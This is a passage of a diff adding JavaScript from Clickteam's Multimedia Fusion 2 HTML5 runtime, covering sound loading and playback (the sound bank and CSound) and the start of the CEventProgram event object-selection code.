+ offset = this.file.getFilePointer();
+ sound.loadHandle();
+ this.offsetsToSounds[sound.handle] = offset;
+ }
+
+ this.nHandlesTotal = this.nHandlesReel;
+ this.nSounds = 0;
+ this.sounds = null;
+ },
+
+ getSoundFromHandle: function (handle)
+ {
+ if (handle >= 0 && handle < this.nHandlesTotal)
+ if (this.handleToIndex[handle] != -1)
+ return this.sounds[this.handleToIndex[handle]];
+ return null;
+ },
+ checkLoad: function ()
+ {
+ var index;
+ for (index = 0; index < this.nSounds; index++)
+ {
+ if (this.sounds[index] != null)
+ {
+ this.sounds[index].checkLoad();
+ }
+ }
+ },
+ getSoundFromIndex: function (index)
+ {
+ if (index >= 0 && index < this.nSounds)
+ return this.sounds[index];
+ return null;
+ },
+
+ resetToLoad: function ()
+ {
+ if ((this.app.dwOptions & CRunApp.AH2OPT_LOADDATAATSTART) == 0 && (this.app.dwOptions & CRunApp.AH2OPT_KEEPRESOURCESBETWEENFRAMES) == 0)
+ {
+ var n;
+ for (n = 0; n < this.nHandlesReel; n++)
+ this.useCount[n] = 0;
+ }
+ },
+
+ setAllToLoad: function ()
+ {
+ var n;
+ for (n = 0; n < this.nHandlesReel; n++)
+ {
+ if (this.offsetsToSounds[n])
+ this.useCount[n] = 1;
+ }
+ },
+
+ addAllToLoad: function ()
+ {
+ var n;
+ for (n = 0; n < this.nHandlesReel; n++)
+ {
+ if (this.offsetsToSounds[n])
+ {
+ this.app.imagesToLoad++;
+ }
+ }
+ },
+
+ setToLoad: function (handle)
+ {
+ this.useCount[handle]++;
+ },
+
+ enumerate: function (num)
+ {
+ this.setToLoad(num);
+ return -1;
+ },
+
+
+ load: function ()
+ {
+ var n;
+
+ this.nSounds = 0;
+ for (n = 0; n < this.nHandlesReel; n++)
+ {
+ if (this.useCount[n] != 0)
+ this.nSounds++;
+ }
+
+ var newSounds = new Array(this.nSounds);
+ var count = 0;
+ var h;
+ for (h = 0; h < this.nHandlesReel; h++)
+ {
+ if (this.useCount[h] != 0)
+ {
+ if (this.sounds != null && this.handleToIndex[h] != -1 && this.sounds[this.handleToIndex[h]] != null)
+ {
+ newSounds[count] = this.sounds[this.handleToIndex[h]];
+ newSounds[count].useCount = this.useCount[h];
+ }
+ else
+ {
+ newSounds[count] = new CSound(this.app);
+ this.file.seek(this.offsetsToSounds[h]);
+ newSounds[count].load();
+ newSounds[count].useCount = this.useCount[h];
+ }
+ count++;
+ }
+ }
+ this.sounds = newSounds;
+
+ this.handleToIndex = new Array(this.nHandlesReel);
+ for (n = 0; n < this.nHandlesReel; n++)
+ this.handleToIndex[n] = -1;
+ for (n = 0; n < this.nSounds; n++)
+ this.handleToIndex[this.sounds[n].handle] = n;
+ this.nHandlesTotal = this.nHandlesReel;
+
+ this.resetToLoad();
+ }
+ }
+
+ // CSound object
+ // -----------------------------------------------------------------
+ function CSound(a)
+ {
+ this.application = a;
+ this.context = a.soundPlayer.context;
+ this.contextType = a.soundPlayer.contextType;
+ this.gainNode = a.soundPlayer.gainNode;
+ this.type = 0;
+ this.file = a.file;
+ this.handle = -1;
+ this.source = null;
+ this.sound = null;
+ this.useCount = 0;
+ this.bUninterruptible = false;
+ this.nLoops = 0;
+ this.numSound = 0;
+ this.name = null;
+ this.bPaused = false;
+ this.bAllowGlobalResume = false;
+ this.bPlaying = false;
+ this.frequency = 0;
+ this.response = null;
+ this.gain = null;
+ }
+ CSound.prototype =
+ {
+ loadHandle: function ()
+ {
+ this.handle = this.file.readAShort();
+ this.file.skipBytes(5);
+ var l = this.file.readAShort();
+ if (this.file.bUnicode == false)
+ this.file.skipBytes(l);
+ else
+ this.file.skipBytes(l * 2);
+ },
+
+ createFromSound: function ()
+ {
+ if (HTMLMediaElement.mozLoadFrom)
+ {
+ var snd = new CSound(this.application);
+ snd.handle = this.handle;
+ snd.sound = HTMLMediaElement.mozLoadFrom(this.sound);
+ snd.name = this.name;
+ snd.type = this.type;
+ snd.song = this.song;
+ snd.type = this.type;
+ return snd;
+ }
+ return this;
+ },
+
+ doLoad: function ()
+ {
+ var format;
+ var playableFormats = this.application.soundPlayer.probablePlayableFormats & this.type;
+ if (playableFormats == 0)
+ playableFormats = this.application.soundPlayer.maybePlayableFormats & this.type;
+ for (format = 0; format < 4; format++)
+ {
+ if (playableFormats & (1 << format))
+ {
+ break;
+ }
+ }
+ if (format < 4)
+ {
+ var ext = "";
+ switch (format)
+ {
+ case 0:
+ ext = "ogg";
+ break;
+ case 1:
+ ext = "m4a";
+ break;
+ case 2:
+ ext = "mp3";
+ break;
+ case 3:
+ ext = "wav"
+ break;
+ }
+
+ if (this.context)
+ {
+ var that = this;
+
+ var request = new XMLHttpRequest();
+ request.open('GET', this.application.resources + CServices.formatDiscName(this.handle, ext), true);
+ request.responseType = 'arraybuffer';
+ request.addEventListener('load', function (event)
+ {
+ that.response = request.response;
+ that.application.soundPlayer.addDataToDecode(that);
+ });
+ request.send();
+ }
+ else
+ {
+ this.sound = new Audio();
+ this.sound.preload = "auto";
+
+ var that = this;
+ this.sound.addEventListener("loadeddata", function (e)
+ {
+ that.application.dataHasLoaded(that);
+ that.sound.removeEventListener('loadeddata', arguments.callee, false);
+ }, false);
+ this.sound.addEventListener("error", function (e)
+ {
+ that.application.dataHasLoaded(that);
+ that.sound = null;
+ }, false);
+ this.sound.src = this.application.resources + CServices.formatDiscName(this.handle, ext);
+ this.sound.load();
+ this.sound.autoplay = false;
+ }
+ }
+ else
+ this.application.dataHasLoaded(this);
+ },
+ load: function ()
+ {
+ this.handle = this.file.readAShort();
+ this.type = this.file.readAByte();
+ this.frequency = this.file.readAInt();
+ this.currentFrequency = this.frequency;
+ var l = this.file.readAShort();
+ this.name = this.file.readAString(l);
+ this.sound = null;
+ this.application.addDataToLoad(this);
+ },
+ loadSilent: function ()
+ {
+ this.handle = 9999;
+ this.type = 0x04;
+ this.frequency = 40000;
+ this.currentFrequency = this.frequency;
+ this.name = "";
+ this.sound = null;
+ this.application.addDataToLoad(this);
+ },
+ playIt: function (time, frequency)
+ {
+ if (!time)
+ time = 0;
+ if (!frequency)
+ frequency = this.frequency;
+ if (this.sound)
+ {
+ this.sound.volume = (this.volume / 100.0);
+ this.currentFrequency = frequency;
+ this.sound.playbackRate = frequency / this.frequency;
+ if (this.sound.duration)
+ this.sound.currentTime = 0;
+ this.sound.play();
+ }
+ else if (this.buffer)
+ {
+ this.source = this.context["createBufferSource"]();
+ this.source["buffer"] = this.buffer;
+ if (this.contextType == 0)
+ {
+ this.source["gain"]["value"] = (this.volume / 100.0);
+ this.source["connect"](this.context["destination"]);
+ }
+ else
+ {
+ this.gain = this.context["createGain"]();
+ this.source["connect"](this.gain);
+ this.gain["connect"](this.context["destination"]);
+ this.gain["gain"]["value"] = (this.volume / 100.0);
+ }
+ if (!time)
+ time = 0;
+ if (!frequency)
+ frequency = this.frequency;
+ this.currentFrequency = frequency;
+ this.source["playbackRate"]["value"] = frequency / this.frequency;
+ this.startTime = Date.now() - time;
+ if (typeof this.source["start"] !== "undefined")
+ this.source["start"](0, time / 1000);
+ else
+ this.source["noteOn"](time);
+ var that = this;
+ this.source["onended"] = function (e)
+ {
+ that.bEnded = true;
+ }
+ }
+ this.bPaused = false;
+ this.bPlaying = true;
+ this.bEnded = false;
+ },
+ play: function (nl, bPrio, v)
+ {
+ this.nLoops = nl;
+ if (this.nLoops == 0)
+ this.nLoops = 10000000;
+ this.volume = v;
+
+ this.playIt();
+ },
+ stop: function ()
+ {
+ if (this.sound)
+ this.sound.pause();
+ else if (this.source && this.bPlaying)
+ {
+ if (typeof this.source["stop"] !== "undefined")
+ this.source["stop"](0);
+ else
+ this.source["noteOff"](0);
+ this.source["onended"] = null;
+ }
+ this.bUninterruptible = false;
+ this.bPlaying = false;
+ },
+
+ setVolume: function (v)
+ {
+ this.volume = v;
+ if (this.sound)
+ this.sound.volume = (v / 100.0);
+ else if (this.source)
+ {
+ if (this.gain)
+ this.gain["gain"]["value"] = (v / 100.0);
+ else
+ this.source["gain"]["value"] = (v / 100.0);
+ }
+ },
+
+ pause: function ()
+ {
+ if (!this.bPaused) {
+ if (this.sound)
+ this.sound.pause();
+ else if (this.source) {
+ this.source["onended"] = null;
+ if (typeof this.source["stop"] !== "undefined")
+ this.source["stop"](0);
+ else
+ this.source["noteOff"](0);
+ this.pauseTime = Date.now() - this.startTime;
+ }
+ this.bPaused = true;
+ }
+ },
+
+ globalpause: function () {
+ if (!this.bPaused) {
+ this.pause();
+ this.bAllowGlobalResume = true;
+ } else {
+ this.bAllowGlobalResume = false;
+ }
+ },
+
+ resume: function ()
+ {
+ if (this.bPaused) {
+ if (this.sound)
+ this.sound.play();
+ else if (this.source) {
+ this.playIt(this.pauseTime);
+ }
+ this.bPaused = false;
+ }
+ },
+
+ globalresume: function () {
+ if (this.bAllowGlobalResume) {
+ this.resume();
+ this.bAllowGlobalResume = false;
+ }
+ },
+
+ isPaused: function ()
+ {
+ return this.bPaused;
+ },
+
+ isPlaying: function ()
+ {
+ if ((this.sound || this.source) && this.bPlaying)
+ {
+ return !this.bPaused;
+ }
+ return false;
+ },
+
+ getDuration: function ()
+ {
+ if (this.sound && this.sound.duration != undefined && isNaN(this.sound.duration) == false && this.sound.duration != Infinity)
+ {
+ return Math.floor(this.sound.duration * 1000);
+ }
+ else if (this.source)
+ {
+ return this.buffer["duration"] * 1000;
+ }
+ return 0;
+ },
+
+ getPosition: function ()
+ {
+ if (this.sound)
+ return Math.floor(this.sound.currentTime * 1000);
+ else if (this.source)
+ {
+ var t;
+ if (this.bPaused)
+ t = this.pauseTime;
+ else
+ t = Date.now() - this.startTime;
+ return Math.min(this.buffer["duration"] * 1000, t);
+ }
+ return 0;
+ },
+
+ setPosition: function (t)
+ {
+ if (this.sound)
+ this.sound.currentTime = t / 1000;
+ else if (this.source)
+ {
+ if (this.bPlaying)
+ {
+ this.source["onended"] = null;
+ if (typeof this.source["stop"] !== "undefined")
+ this.source["stop"](0);
+ else
+ this.source["noteOff"](0);
+ }
+ this.playIt(t);
+ }
+ },
+
+ setFrequency: function (t)
+ {
+ var pitch = t / this.frequency;
+ this.currentFrequency = t;
+ if (this.sound)
+ this.sound.playbackRate = pitch;
+ else if (this.source)
+ this.source["playbackRate"]["value"] = pitch;
+ },
+
+ getFrequency: function (t)
+ {
+ return this.currentFrequency;
+ },
+
+ checkSound: function ()
+ {
+ if (this.bPlaying == true && this.bPaused == false)
+ {
+ if (this.sound)
+ {
+ if (this.sound.ended)
+ {
+ if (this.nLoops > 0)
+ {
+ this.nLoops--;
+ if (this.nLoops > 0)
+ {
+ this.playIt(0, this.currentFrequency);
+ return false;
+ }
+ }
+ this.bUninterruptible = false;
+ this.bPlaying = false;
+ return true;
+ }
+ }
+ else if (this.source)
+ {
+ if (this.source["playbackState"] == 3 || this.bEnded)
+ {
+ if (this.nLoops > 0)
+ {
+ this.nLoops--;
+ if (this.nLoops > 0)
+ {
+ this.playIt(0, this.currentFrequency);
+ return false;
+ }
+ }
+ this.bUninterruptible = false;
+ this.bPlaying = false;
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ }
+
+
+
+ // CEventProgram object
+ // ---------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOastlTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+
+ // Fast Loop acceleration
+ //////////////////////////////////////////////////////////////////////////////
+ function CPosOnLoop(name, index)
+ {
+ this.name = name;
+ this.pointers = new Array();
+ this.position = 0;
+ this.m_bOR = false;
+ this.fastLoopIndex = index;
+ }
+ CPosOnLoop.prototype =
+ {
+ AddOnLoop: function (evgPtr)
+ {
+ this.pointers[this.position++] = evgPtr;
+ }
+ }
+
+ // CEventProgram
+ //////////////////////////////////////////////////////////////////////////////
+ CEventProgram.EVENTS_EXTBASE = 80;
+ CEventProgram.PARAMCLICK_DOUBLE = 0x100;
+ CEventProgram.bts = function (array, index)
+ {
+ var d = (index >> 5); // Build 284.2, fixes bug #2828
+ var mask = 1 << (index & 31);
+ var b = (array[d] & mask) != 0;
+ array[d] |= mask;
+ return b;
+ }
+ CEventProgram.evg_FindAction = function (evgPtr, n)
+ {
+ return evgPtr.evgNCond + n;
+ }
+ CEventProgram.EVTTYPE = function (code)
+ {
+ var c = code & 0xFFFF;
+ if ((c & 0x8000) != 0)
+ {
+ return c - 65536;
+ }
+ return c;
+ }
+ CEventProgram.EVTNUM = function (code)
+ {
+ return (code >> 16);
+ }
+ CEventProgram.getEventCode = function (code)
+ {
+ return code & 0xFFFF0000;
+ }
+
+ function CEventProgram(app)
+ {
+ this.application = app;
+ this.rhPtr = null;
+ this.maxObjects = 0;
+ this.maxOi = 0;
+ this.nPlayers = 0;
+ this.nConditions = new Array(COI.NUMBEROF_SYSTEMTYPES + COI.OBJ_LAST);
+ this.nQualifiers = 0;
+ this.nEvents = 0;
+ this.qualifiers = null;
+ this.events = null;
+ this.qualToOiList = null;
+ this.listPointers = null;
+ this.eventPointersGroup = null;
+ this.eventPointersCnd = null;
+ this.limitBuffer = null;
+ this.rhEvents = new Array(COI.NUMBEROF_SYSTEMTYPES + 1);
+ this.rhEventAlways = false;
+ this.rh4TimerEventsBase = 0;
+ this.colBuffer = null;
+ this.qualOilPtr = 0;
+ this.qualOilPos = 0;
+ this.qualOilPtr2 = 0;
+ this.qualOilPos2 = 0;
+ this.rh4CheckDoneInstart = false;
+ this.rhEventGroup = null;
+ this.rhCurCode = 0;
+ this.rh4PickFlags = new Array(4);
+ this.rh2ActionLoop = false;
+ this.rh2ActionOn = false;
+ this.rh2EnablePick = false;
+ this.rh2EventCount = 0;
+ this.rh2ActionCount = 0;
+ this.rh2ActionLoopCount = 0;
+ this.rh4EventCountOR = 0;
+ this.rh4ConditionsFalse = false;
+ this.rh3DoStop = false;
+ this.rh2EventQualPos = null;
+ this.rh2EventQualPosNum = 0;
+ this.rh2EventPos = 0;
+ this.rh2EventPosOiList = 0;
+ this.rh2EventPrev = null;
+ this.rh2EventPrevOiList = null;
+ this.evtNSelectedObjects = 0;
+ this.repeatFlag = false;
+ this.rh2EventType = 0;
+ this.rhCurOi = 0;
+ this.rhCurParam0 = 0;
+ this.rhCurParam1 = 0;
+ // this.rh3CurrentMenu=0;
+ this.rh2CurrentClick = 0;
+ this.rh4_2ndObject = null;
+ this.bReady = false;
+ this.rh2ShuffleBuffer = null;
+ this.rhCurObjectNumber = 0;
+ this.rh1stObjectNumber = 0;
+ this.rh2PushedEvents = null;
+ this.callEndForEach = false;
+ this.bTestAllKeys = false;
+ this.maxEvents = 0;
+ this.complexOnLoop = false;
+ }
+ CEventProgram.prototype =
+ {
+ evt_FirstObjectFromType: function (nType)
+ {
+ this.rh2EventType = nType;
+ if (nType == -1)
+ {
+ var pHo;
+ var pHoStore = null;
+ var oil;
+ var poil;
+ var bStore = true;
+ for (oil = 0; oil < this.rhPtr.rhOiList.length; oil++)
+ {
+ poil = this.rhPtr.rhOiList[oil];
+ if (CEventProgram.bts(this.rh4PickFlags, poil.oilType) == false)
+ {
+ pHo = this.evt_SelectAllFromType(poil.oilType, bStore);
+ if (pHo != null)
+ {
+ pHoStore = pHo;
+ bStore = false;
+ }
+ }
+ }
+ if (pHoStore != null)
+ {
+ return pHoStore;
+ }
+ }
+ else
+ {
+ if (CEventProgram.bts(this.rh4PickFlags, nType) == false)
+ {
+ return this.evt_SelectAllFromType(nType, true);
+ }
+ }
+
+ var oil2 = 0;
+ var oilPtr;
+ do
+ {
+ oilPtr = this.rhPtr.rhOiList[oil2];
+ if (oilPtr.oilType == nType)
+ {
+ if ((oilPtr.oilListSelected & 0x80000000) == 0)
+ {
+ var pHo = this.rhPtr.rhObjectList[oilPtr.oilListSelected];
+ this.rh2EventPrev = null;
+ this.rh2EventPrevOiList = oilPtr;
+ this.rh2EventPos = pHo;
+ this.rh2EventPosOiList = oil2;
+ return pHo;
+ }
+ }
+ oil2++; // Un autre OI?
+ }
+ while (oil2 < this.rhPtr.rhMaxOI);
+ return null;
+ },
+
+ evt_NextObjectFromType: function ()
+ {
+ var pHo = this.rh2EventPos;
+ var oilPtr;
+ if (pHo == null)
+ {
+ oilPtr = this.rhPtr.rhOiList[this.rh2EventPosOiList];
+ if ((oilPtr.oilListSelected & 0x80000000) == 0)
+ {
+ pHo = this.rhPtr.rhObjectList[oilPtr.oilListSelected];
+ this.rh2EventPrev = null;
+ this.rh2EventPrevOiList = oilPtr;
+ this.rh2EventPos = pHo;
+ return pHo;
+ }
+ }
+ if (pHo != null)
+ {
+ if ((pHo.hoNextSelected & 0x80000000) == 0)
+ {
+ this.rh2EventPrev = pHo;
+ this.rh2EventPrevOiList = null;
+ pHo = this.rhPtr.rhObjectList[pHo.hoNextSelected];
+ this.rh2EventPos = pHo;
+ return pHo;
+ }
+ }
+
+ var oil = this.rh2EventPosOiList;
+ var nType = this.rhPtr.rhOiList[oil].oilType;
+ oil++;
+ while (oil < this.rhPtr.rhMaxOI)
+ {
+ if ((this.rh2EventType != -1 && this.rhPtr.rhOiList[oil].oilType == nType) || this.rh2EventType == -1)
+ {
+ if ((this.rhPtr.rhOiList[oil].oilListSelected & 0x80000000) == 0)
+ {
+ pHo = this.rhPtr.rhObjectList[this.rhPtr.rhOiList[oil].oilListSelected];
+ this.rh2EventPrev = null;
+ this.rh2EventPrevOiList = this.rhPtr.rhOiList[oil];
+ this.rh2EventPos = pHo;
+ this.rh2EventPosOiList = oil;
+ return pHo;
+ }
+ }
+ oil++;
+ }
+ return null;
+ },
+
+ evt_SelectAllFromType: function (nType, bStore)
+ {
+ var first = -1;
+ var evtCount = this.rh2EventCount;
+
+ var oil = 0;
+ var oilPtr;
+ var pHo;
+ do
+ {
+ oilPtr = this.rhPtr.rhOiList[oil];
+ if (oilPtr.oilType == nType && oilPtr.oilEventCount != evtCount)
+ {
+ oilPtr.oilEventCount = evtCount;
+ if (this.rh4ConditionsFalse)
+ {
+ oilPtr.oilListSelected = -1;
+ oilPtr.oilNumOfSelected = 0;
+ }
+ else
+ {
+ oilPtr.oilNumOfSelected = oilPtr.oilNObjects;
+ var num = oilPtr.oilObject;
+ if ((num & 0x80000000) == 0)
+ {
+ if (first == -1 && bStore == true)
+ {
+ first = num;
+ this.rh2EventPrev = null;
+ this.rh2EventPrevOiList = oilPtr;
+ this.rh2EventPosOiList = oil;
+ }
+ do
+ {
+ pHo = this.rhPtr.rhObjectList[num];
+ pHo.hoNextSelected = pHo.hoNumNext;
+ num = pHo.hoNumNext;
+ }
+ while ((num & 0x80000000) == 0);
+
+ num = oilPtr.oilObject;
+ }
+ oilPtr.oilListSelected = num;
+ }
+ }
+ oil++;
+ }
+ while (oil < this.rhPtr.rhMaxOI);
+
+ if (bStore == false)
+ {
+ return null;
+ }
+ if (first < 0)
+ {
+ return null;
+ }
+
+ pHo = this.rhPtr.rhObjectList[first];
+ this.rh2EventPos = pHo;
+ return pHo;
+ },
+
+ evt_FirstObject: function (sEvtOiList)
+ {
+ var pHo;
+
+ this.evtNSelectedObjects = 0;
+ this.rh2EventQualPos = null;
+ this.rh2EventQualPosNum = -1;
+
+ if ((sEvtOiList & 0x8000) != 0)
+ {
+ if ((sEvtOiList & 0x7FFF) == 0x7FFF)
+ {
+ return null;
+ }
+ return this.qualProc(sEvtOiList);
+ }
+
+ var oilPtr = this.rhPtr.rhOiList[sEvtOiList];
+ if (oilPtr.oilEventCount == this.rh2EventCount)
+ {
+ if ((oilPtr.oilListSelected & 0x80000000) != 0)
+ {
+ return null;
+ }
+ pHo = this.rhPtr.rhObjectList[oilPtr.oilListSelected];
+ this.rh2EventPrev = null;
+ this.rh2EventPrevOiList = oilPtr;
+ this.rh2EventPos = pHo;
+ this.rh2EventPosOiList = sEvtOiList;
+ this.evtNSelectedObjects = oilPtr.oilNumOfSelected;
+ return pHo;
+ }
+ else
+ {
+ oilPtr.oilEventCount = this.rh2EventCount;
+
+ if (this.rh4ConditionsFalse)
+ {
+ oilPtr.oilListSelected = -1;
+ oilPtr.oilNumOfSelected = 0;
+ return null;
+ }
+
+ oilPtr.oilListSelected = oilPtr.oilObject;
+ if ((oilPtr.oilObject & 0x80000000) != 0)
+ {
+ oilPtr.oilNumOfSelected = 0;
+ return null;
+ }
+ var num = oilPtr.oilObject;
+ do
+ {
+ pHo = this.rhPtr.rhObjectList[num];
+ num = pHo.hoNumNext;
+ pHo.hoNextSelected = num;
+ }
+ while ((num & 0x80000000) == 0);
+
+
+ pHo = this.rhPtr.rhObjectList[oilPtr.oilObject];
+ this.rh2EventPrev = null;
+ this.rh2EventPrevOiList = oilPtr;
+ this.rh2EventPos = pHo;
+ this.rh2EventPosOiList = sEvtOiList;
+ oilPtr.oilNumOfSelected = oilPtr.oilNObjects;
+ this.evtNSelectedObjects = oilPtr.oilNumOfSelected;
+ return pHo;
+ }
+ },
+
+ qualProc: function (sEvtOiList)
+ {
+ var pHo;
+ var oilPtr;
+ var count = 0;
+
+ var qoi = 0;
+ var qoiList;
+ var addCount;
+ var pQoi = this.qualToOiList[sEvtOiList & 0x7FFF];
+ while (qoi < pQoi.qoiList.length)
+ {
+ qoiList = pQoi.qoiList[qoi + 1];
+ oilPtr = this.rhPtr.rhOiList[qoiList];
+ if (oilPtr.oilEventCount == this.rh2EventCount)
+ {
+ addCount = 0;
+ if ((oilPtr.oilListSelected & 0x80000000) == 0)
+ {
+ addCount = oilPtr.oilNumOfSelected;
+ if (this.rh2EventQualPos == null)
+ {
+ this.rh2EventQualPos = pQoi;
+ this.rh2EventQualPosNum = qoi;
+ }
+ }
+ }
+ else
+ {
+ addCount = 0;
+ oilPtr.oilEventCount = this.rh2EventCount;
+
+ if (this.rh4ConditionsFalse)
+ {
+ oilPtr.oilListSelected = -1;
+ oilPtr.oilNumOfSelected = 0;
+ }
+ else
+ {
+ oilPtr.oilListSelected = oilPtr.oilObject;
+ if ((oilPtr.oilObject & 0x80000000) != 0)
+ {
+ oilPtr.oilNumOfSelected = 0;
+ }
+ else
+ {
+ if (this.rh2EventQualPos == null)
+ {
+ this.rh2EventQualPos = pQoi;
+ this.rh2EventQualPosNum = qoi;
+ }
+ var num = oilPtr.oilObject;
+ do
+ {
+ pHo = this.rhPtr.rhObjectList[num];
+ pHo.hoNextSelected = pHo.hoNumNext;
+ num = pHo.hoNumNext;
+ } while ((num & 0x80000000) == 0);
+
+ oilPtr.oilNumOfSelected = oilPtr.oilNObjects;
+ addCount = oilPtr.oilNObjects;
+ }
+ }
+ }
+ count += addCount;
+ qoi += 2;
+ }
+
+ pQoi = this.rh2EventQualPos;
+ if (pQoi != null)
+ {
+ oilPtr = this.rhPtr.rhOiList[pQoi.qoiList[this.rh2EventQualPosNum + 1]];
+ this.rh2EventPrev = null;
+ this.rh2EventPrevOiList = oilPtr;
+ pHo = this.rhPtr.rhObjectList[oilPtr.oilListSelected];
+ this.rh2EventPos = pHo;
+ this.rh2EventPosOiList = pQoi.qoiList[this.rh2EventQualPosNum + 1];
+ this.evtNSelectedObjects = count;
+ return pHo;
+ }
+ return null;
+ },
+ evt_NextObject: function ()
+ {
+ var pHo = this.rh2EventPos;
+ var oilPtr;
+ if (pHo == null)
+ {
+ oilPtr = this.rhPtr.rhOiList[this.rh2EventPosOiList];
+ if ((oilPtr.oilListSelected & 0x80000000) == 0)
+ {
+ pHo = this.rhPtr.rhObjectList[oilPtr.oilListSelected];
+ this.rh2EventPrev = null;
+ this.rh2EventPrevOiList = oilPtr;
+ this.rh2EventPos = pHo;
+ return pHo;
+ }
+ }
+ if (pHo != null)
+ {
+ if ((pHo.hoNextSelected & 0x80000000) == 0)
+ {
+ this.rh2EventPrev = pHo;
+ this.rh2EventPrevOiList = null;
+ pHo = this.rhPtr.rhObjectList[pHo.hoNextSelected];
+ this.rh2EventPos = pHo;
+ return pHo;
+ }
+ }
+ if (this.rh2EventQualPos == null)
+ {
+ return null;
+ }
+
+ do
+ {
+ this.rh2EventQualPosNum += 2;
+ if (this.rh2EventQualPosNum >= this.rh2EventQualPos.qoiList.length)
+ {
+ return null;
+ }
+ oilPtr = this.rhPtr.rhOiList[this.rh2EventQualPos.qoiList[this.rh2EventQualPosNum + 1]];
+ } while ((oilPtr.oilListSelected & 0x80000000) != 0);
+
+ this.rh2EventPrev = null;
+ this.rh2EventPrevOiList = oilPtr;
+ pHo = this.rhPtr.rhObjectList[oilPtr.oilListSelected];
+ this.rh2EventPos = pHo;
+ this.rh2EventPosOiList = this.rh2EventQualPos.qoiList[this.rh2EventQualPosNum + 1];
+ return pHo;
+ },
+
+ evt_AddCurrentQualifier: function (qual)
+ {
+ var pQoi = this.qualToOiList[qual & 0x7FFF];
+ var noil = 0;
+ var oilPtr;
+ while (noil < pQoi.qoiList.length)
+ {
+ oilPtr = this.rhPtr.rhOiList[pQoi.qoiList[noil + 1]];
+ if (oilPtr.oilEventCount != this.rh2EventCount)
+ {
+ oilPtr.oilEventCount = this.rh2EventCount;
+ oilPtr.oilNumOfSelected = 0;
+ oilPtr.oilListSelected = -1;
+ }
+ noil += 2;
+ }
+ ;
+ },
+
+ evt_DeleteCurrentObject: function ()
+ {
+ this.rh2EventPos.hoOiList.oilNumOfSelected -= 1;
+ if (this.rh2EventPrev != null)
+ {
+ this.rh2EventPrev.hoNextSelected = this.rh2EventPos.hoNextSelected;
+ this.rh2EventPos = this.rh2EventPrev;
+ }
+ else
+ {
+ // rhPtr.rhOiList[rh2EventPosOiList].oilListSelected=rh2EventPos.hoNextSelected;
+ this.rh2EventPrevOiList.oilListSelected = this.rh2EventPos.hoNextSelected;
+ this.rh2EventPos = null;
+ }
+ },
+
+ evt_AddCurrentObject: function (pHo)
+ {
+ var oilPtr = pHo.hoOiList;
+ if (oilPtr.oilEventCount != this.rh2EventCount)
+ {
+ oilPtr.oilEventCount = this.rh2EventCount;
+ oilPtr.oilListSelected = pHo.hoNumber;
+ oilPtr.oilNumOfSelected = 1;
+ pHo.hoNextSelected = -1;
+ }
+ else
+ {
+ var oils = oilPtr.oilListSelected;
+ if ((oils & 0x80000000) != 0)
+ {
+ oilPtr.oilListSelected = pHo.hoNumber;
+ oilPtr.oilNumOfSelected += 1;
+ pHo.hoNextSelected = -1;
+ }
+ else
+ {
+ var pHo1;
+ do
+ {
+ if (pHo.hoNumber == oils)
+ {
+ return;
+ }
+ pHo1 = this.rhPtr.rhObjectList[oils];
+ oils = pHo1.hoNextSelected;
+ } while ((oils & 0x80000000) == 0);
+
+ pHo1.hoNextSelected = pHo.hoNumber;
+ pHo.hoNextSelected = -1;
+ pHo.hoOiList.oilNumOfSelected += 1;
+ }
+ }
+ },
+
+ deselectThem: function (oil)
+ {
+ var poil = this.rhPtr.rhOiList[oil];
+ poil.oilEventCount = this.rh2EventCount;
+ poil.oilListSelected = -1;
+ poil.oilNumOfSelected = 0;
+ },
+
+ evt_ForceOneObject: function (oil, pHo)
+ {
+ if ((oil & 0x8000) == 0)
+ {
+ this.deselectThem(oil);
+ }
+ else
+ {
+ if ((oil & 0x7FFF) == 0x7FFF)
+ {
+ return;
+ }
+ var pqoi = this.qualToOiList[oil & 0x7FFF];
+ var qoi;
+ for (qoi = 0; qoi < pqoi.qoiList.length; qoi += 2)
+ {
+ this.deselectThem(pqoi.qoiList[qoi + 1]);
+ }
+ }
+ pHo.hoNextSelected = -1;
+ pHo.hoOiList.oilListSelected = pHo.hoNumber;
+ pHo.hoOiList.oilNumOfSelected = 1;
+ pHo.hoOiList.oilEventCount = this.rh2EventCount;
+ },
+
+ evt_DeleteCurrentType: function (nType)
+ {
+ CEventProgram.bts(this.rh4PickFlags, nType);
+
+ var oil;
+ var oilPtr;
+ for (oil = 0; oil < this.rhPtr.rhMaxOI; oil++)
+ {
+ oilPtr = this.rhPtr.rhOiList[oil];
+ if (oilPtr.oilType == nType)
+ {
+ oilPtr.oilEventCount = this.rh2EventCount;
+ oilPtr.oilListSelected = -1;
+ oilPtr.oilNumOfSelected = 0;
+ }
+ }
+ },
+
+ evt_DeleteCurrent: function ()
+ {
+ this.rh4PickFlags[0] = -1;
+ this.rh4PickFlags[1] = -1;
+ this.rh4PickFlags[2] = -1;
+ this.rh4PickFlags[3] = -1;
+
+ var oil;
+ var oilPtr;
+ for (oil = 0; oil < this.rhPtr.rhMaxOI; oil++)
+ {
+ oilPtr = this.rhPtr.rhOiList[oil];
+ oilPtr.oilEventCount = this.rh2EventCount;
+ oilPtr.oilListSelected = -1;
+ oilPtr.oilNumOfSelected = 0;
+ }
+ },
+
+ evt_MarkSelectedObjects: function ()
+ {
+ var num;
+ var pHO;
+ var oil;
+ var oilPtr;
+
+ for (oil = 0; oil < this.rhPtr.rhMaxOI; oil++)
+ {
+ oilPtr = this.rhPtr.rhOiList[oil];
+ if (oilPtr.oilEventCount == this.rh2EventCount)
+ {
